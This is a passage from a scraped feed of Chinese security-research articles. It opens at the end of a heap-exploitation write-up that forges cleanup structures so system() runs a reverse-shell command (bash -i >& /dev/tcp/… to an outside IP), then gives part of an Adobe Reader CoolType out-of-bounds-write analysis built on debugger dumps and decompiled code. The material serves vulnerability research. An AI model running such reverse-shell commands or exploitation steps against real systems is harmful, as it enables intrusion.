rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool - 0x10</code>，如此一来<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab-&gt;pool-&gt;cleanups</code>的地址便指向了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool-&gt;first</code>，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool-&gt;first</code>通过构造指向了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool-&gt;first + 0x50</code>也就是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_cleanups</code>，所以当调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">pr_table_free(gid_tab)</code>时，最终会调用到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">run_cleanups()</code>函数，参数为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_cleanups</code>，fake_cleanups是我们伪造好的，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_cleanups-&gt;data</code>指向一段比如反弹shell的命令<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">bash -c &#34;bash -i&gt;&amp; /dev/tcp/192.168.38.132/8000 0&gt;&amp;1&#34; \x00</code>，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_cleanups-&gt;plain_cleanup_cb</code>指向<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">system</code>的地址，即可通过system函数调用反弹shell命令。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但有一点，<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_blok_hdr-&gt;end</code>必须远大于<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">fake_blok_hdr-&gt;first_avail</code>，建议0x300以上。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.496" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="625" src="https://wechat2rss.xlab.app/img-proxy/?k=9a36b787&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSF4LZMZk5hw1weDCw2FgAL9lGSL1azVK0fdiaoBAJqBQC7ChFSCPe3Ow%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>执行结果</strong>：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0139784946236559" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="930" src="https://wechat2rss.xlab.app/img-proxy/?k=f3fd7f98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD5tHqAqibvPzAibKaYGoyTibMSam4H5nViaRlxIkuia0hmvSyK9lWjDNp6SosqnNbTFrqY5OcSVzALkaYA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">总结</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">有三个必须注意到的点，</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">建议关闭系统ASLR调试和利用。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">gid_tab</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;pool</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);">cmd-&gt;notes-&gt;chains</code>，这4个都是堆上的地址，我们都需要提前计算相对heap偏移。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">本次利用并不稳定，仅供学习。</section></li></ol></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485350">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fad60f51&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247485350%26idx%3D1%26sn%3D6a74e0ed8c87f7b1f08a66c059768a8c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 01 Dec 2022 12:30:00 +0800</pubDate>
    </item>
    <item>
      <title>​CVE-2021-44707 Adobe Reader越界写漏洞分析与利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247485315&amp;idx=1&amp;sn=d0f672fa297007a3c676767d8d073931</link>
      <description>漏洞概述该漏洞为2021年天府杯中使用的Adobe Reader越界写漏洞</description>
      <content:encoded><![CDATA[<p>
原创 <span>Joey</span> <span>2022-11-07 20:17</span> <span style="display: inline-block;">北京</span>
</p>

<p>漏洞概述该漏洞为2021年天府杯中使用的Adobe Reader越界写漏洞</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d15d9c14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD60GNDN8NkmZFj0MFzsicldnDgadzN2bibydIauib68zKQ93cC1MvjsDKdMrXr8icMQlHY14z6zMBtarg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style=" font-weight: bold;padding-bottom: 30px;color: rgb(19, 92, 224); font-size: 20px; "><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;">漏洞概述</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">该漏洞为2021年天府杯中使用的Adobe Reader越界写漏洞，漏洞位于字体解析模块：CoolType.dll中，对应的Adobe Reader版本为：21.007.20099。</p><h2 data-tool="mdnice编辑器" style=" font-weight: bold;padding-top: 30px;padding-bottom: 30px;color: rgb(19, 92, 224); font-size: 20px; "><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;">原理分析</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">开启page heap后打开POC，Adobe崩溃于<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">CoolType + 2013E</code>处：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">First chance exceptions are reported before any exception handling.<br/>This exception may be expected and handled.<br/>eax=00000046 ebx=00000002 ecx=a54d102f edx=5ab2f001 esi=34adeb2c edi=5ab2efd0<br/>eip=6cf9013e esp=34ade848 ebp=34adea70 iopl=0         nv up ei ng nz ac po cy<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293<br/>CoolType!CTInit+0x1cb4e:<br/>6cf9013e 807aff00        cmp     byte ptr [edx-1],0         ds:002b:5ab2f000=??<br/>0:005&gt; dd edx -31<br/>5ab2efd0  0000d0c0 00000000 00000000 00000000<br/>5ab2efe0  00000000 00000000 00000000 00000000<br/>5ab2eff0  00000000 00000000 00000000 d0c00000<br/>5ab2f000  ???????? ???????? ???????? ????????<br/>5ab2f010  ???????? ???????? ???????? ????????<br/>5ab2f020  ???????? ???????? ???????? ????????<br/>5ab2f030  ???????? ???????? ???????? ????????<br/>5ab2f040  ???????? ???????? ???????? ????????<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">从崩溃处可以明显看出越界访问了<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">0x5ab2f000</code>处的内存，崩溃函数为：<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">CoolType +1FCB0</code>，下断于该函数查看参数：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:011&gt; g<br/>Breakpoint 0 hit<br/>eax=0000002e ebx=34fff0e4 ecx=34fff310 edx=73006500 esi=59e06fd0 edi=00000001<br/>eip=6cf8fcb0 esp=34ffef0c ebp=34fff0a8 iopl=0         nv up ei ng nz ac pe cy<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297<br/>CoolType!CTInit+0x1c6c0:<br/>6cf8fcb0 55              push    ebp<br/>0:011&gt; dps esp+4 L7<br/>34ffef10  59e06fd0<br/>34ffef14  0000002e<br/>34ffef18  34ffefc4<br/>34ffef1c  00000001<br/>34ffef20  00000000<br/>34ffef24  00000001<br/>34ffef28  00000000<br/>0:011&gt; dd 59e06fd0<br/>59e06fd0  d6000800 50015001 51015101 61016101<br/>59e06fe0  62016201 31000100 7a540f51 01521d18<br/>59e06ff0  73006e18 74002000 73006500 d0c07400<br/>59e07000  ???????? ???????? ???????? ????????<br/>59e07010  ???????? ???????? ???????? ????????<br/>59e07020  ???????? ???????? ???????? ????????<br/>59e07030  ???????? ???????? ???????? ????????<br/>59e07040  ???????? ???????? ???????? ????????<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">传入的参数1为POC中构造的字符串，参数2则为字符串的长度，调试后发现调用了函数<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">MultiToWide</code>后，传入的字符串变成了崩溃时的内存布局：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">if</span> ( !a9 || a10_ff || a5 )<br/>    {<br/>      v49 = size;<br/>      MultiToWide(a5, v12, *(unsigned __int16 *)a3, (void *)v12, (int)&amp;v49);// 内部调用MultiByteToWideCharStub<br/>      LOWORD(result) = v49;<br/>      *(_WORD *)a3 = v49;<br/>      result = (unsigned __int16)result;<br/>      goto LABEL_83;<br/>    }<br/>......<br/>LABEL_83:<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( (_WORD)result )<br/>    {<br/>      v44 = (_BYTE *)(v12 + 1);<br/>      v45 = ~v12;<br/>      v51 = ~v12;<br/>      <span style="color: #c678dd;line-height: 26px;">do</span><br/>      {<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> ( *(v44 - 1) || *v44 )               // crash<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">深入分析<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">MultiToWide</code>函数，内部调用了<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">MultiByteToWideCharStub</code>函数，将字符串转化为宽字节字符串：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">bool __cdecl MultiToWide(int a1, int lpMultiByteStr, int cbMultiByte, void *MultByte, int MultByteSize)<br/>{<br/>  _BYTE *v5; // edx<br/>  size_t size; // eax<br/>  int v7; // edx<br/>  int v8; // ecx<br/>  char v9; // al<br/>  bool v10; // zf<br/>  unsigned __int16 CodePage; // ax<br/>  int WideCharSize; // eax<br/>  int v14; // esi<br/>  int v15; // [esp+10h] [ebp-210h]<br/>  size_t MultByteSize_1; // [esp+18h] [ebp-208h]<br/>  char lpWideCharStr[512]; // [esp+1Ch] [ebp-204h] BYREF<br/>  v5 = (_BYTE *)lpMultiByteStr;<br/>  v15 = 0;<br/>  size = *(_DWORD *)MultByteSize;<br/>  *(_DWORD *)MultByteSize = 0;<br/>  MultByteSize_1 = size;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> ( !cbMultiByte )<br/>  {<br/>LABEL_4:<br/>    v7 = cbMultiByte + lpMultiByteStr;<br/>    v8 = 2 * cbMultiByte;<br/>    *(_DWORD *)MultByteSize = 2 * cbMultiByte;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( 2 * cbMultiByte )<br/>    {<br/>      <span style="color: #c678dd;line-height: 26px;">do</span><br/>      {<br/>        v9 = *(_BYTE *)--v7;<br/>        *((char *)MultByte + v8 - 1) = 0;<br/>        v10 = v8 == 2;<br/>        v8 -= 2;<br/>        *((_BYTE *)MultByte + v8) = v9;<br/>      }<br/>      <span style="color: #c678dd;line-height: 26px;">while</span> ( !v10 );<br/>    }<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> 1;<br/>  }<br/>  <span style="color: #c678dd;line-height: 26px;">while</span> ( (unsigned __int8)(*v5 - 0x20) &lt;= 0x5Du )<br/>  {<br/>    ++v5;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( ++v15 &gt;= (unsigned int)cbMultiByte )<br/>      goto LABEL_4;<br/>  }<br/>  CodePage = GetCodePage(a1);<br/>  WideCharSize = off_82FF304(CodePage, 0, lpMultiByteStr, cbMultiByte, lpWideCharStr, 0x100);// 该函数为MultiByteToWideCharStub<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> ( WideCharSize &amp;&amp; WideCharSize &lt;= 0x100 )<br/>  {<br/>    v14 = 2 * WideCharSize;<br/>    sub_800C383(MultByte, MultByteSize_1, lpWideCharStr, 2 * WideCharSize);// 内部调用memcpy<br/>    *(_DWORD *)MultByteSize = v14;<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> 1;<br/>  }<br/>  *(_DWORD *)MultByteSize = MultByteSize_1;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> ( sub_81443C0(a1, lpMultiByteStr, cbMultiByte, MultByte, (size_t *)MultByteSize) )<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> 1;<br/>  *(_DWORD *)MultByteSize = MultByteSize_1;<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> sub_81442A2(a1, lpMultiByteStr, cbMultiByte, (int)MultByte, MultByteSize) != 0;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">转换完毕后调用<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">sub_800C383</code>，检查当前MultByteSize大于等于2倍的WideCharSize时才会将转换后的宽字节字符串拷贝至原字符串的位置，否则将原字符串清空：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">size_t __cdecl sub_800C383(void *MultByte, size_t MultByteSize, void *WideChar, size_t WideCharSize_double)<br/>{<br/>  size_t v4; // esi<br/>  int *v5; // eax<br/>  int v7; // [esp-8h] [ebp-Ch]<br/>  v4 = WideCharSize_double;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> ( WideCharSize_double )<br/>  {<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( MultByte )<br/>    {<br/>      <span style="color: #c678dd;line-height: 26px;">if</span> ( WideChar &amp;&amp; MultByteSize &gt;= WideCharSize_double )<br/>      {<br/>        memcpy(MultByte, WideChar, WideCharSize_double);<br/>        <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/>      }<br/>      <span style="color: #c678dd;line-height: 26px;">else</span><br/>      {<br/>        memset(MultByte, 0, MultByteSize);<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> ( WideChar )<br/>        {<br/>          <span style="color: #c678dd;line-height: 26px;">if</span> ( MultByteSize &gt;= WideCharSize_double )<br/>            <span style="color: #e6c07b;line-height: 26px;">return</span> 0x16;<br/>          v5 = errno();<br/>          v7 = 0x22;<br/>        }<br/>        <span style="color: #c678dd;line-height: 26px;">else</span><br/>        {<br/>          v5 = errno();<br/>          v7 = 0x16;<br/>        }<br/>        v4 = v7;<br/>        *v5 = v7;<br/>        invalid_parameter_noinfo();<br/>      }<br/>    }<br/>    <span style="color: #c678dd;line-height: 26px;">else</span><br/>    {<br/>      v4 = 0x16;<br/>      *errno() = 0x16;<br/>      invalid_parameter_noinfo();<br/>    }<br/>  }<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> v4;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">调试至<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">MultiByteToWideCharStub</code>函数，转化后WideChar字符串的字符数为0x23个：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:008&gt; g<br/>Breakpoint 2 hit<br/>eax=000003a8 ebx=1306e8a8 ecx=0b9aea08 edx=1306e8a8 esi=00000024 edi=0b9aec3c<br/>eip=724040e9 esp=0b9ae9d8 ebp=0b9aec0c iopl=0         nv up ei ng nz na po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282<br/>CoolType!CTGetVersion+0x58ab9:<br/>724040e9 ff1504f35b72    call    dword ptr [CoolType!CTGetVersion+0x213cd4 (725bf304)] ds:002b:725bf304={KERNEL32!MultiByteToWideCharStub (75603da0)}<br/>0:008&gt; dps esp L6<br/>0b9ae9d8  000003a8 //CodePage<br/>0b9ae9dc  00000000 //dwFlags<br/>0b9ae9e0  1306e8a8 //lpMultiByteStr<br/>0b9ae9e4  00000024 //cbMultiByte<br/>0b9ae9e8  0b9aea08 //lpWideCharStr<br/>0b9ae9ec  00000100 //cchWideChar<br/>0:008&gt; dd 1306e8a8 Lc<br/>1306e8a8  5001d608 51015001 61015101 62016101<br/>1306e8b8  31016201 7a540f51 01521d18 20736e18<br/>1306e8c8  74736574 74747474 74747474 00007474<br/>0:008&gt; dd 0b9aea08 Lc<br/>0b9aea08  0c4ef818 0c4ef810 0b9aea4c 6f6c53a8<br/>0b9aea18  1306ded0 0c4c5588 00000000 00000000<br/>0b9aea28  0b9aea50 6dc1901f 6dc19024 1fbe9e77<br/>0:008&gt; p<br/>eax=00000023 ebx=1306e8a8 ecx=c7dacb9e edx=0b9aea08 esi=00000024 edi=0b9aec3c<br/>eip=724040ef esp=0b9ae9f0 ebp=0b9aec0c iopl=0         nv up ei pl zr na pe nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246<br/>CoolType!CTGetVersion+0x58abf:<br/>724040ef 85c0            <span style="color: #e6c07b;line-height: 26px;">test</span>    eax,eax<br/>0:008&gt; dd 0b9aea08 L23*2/4 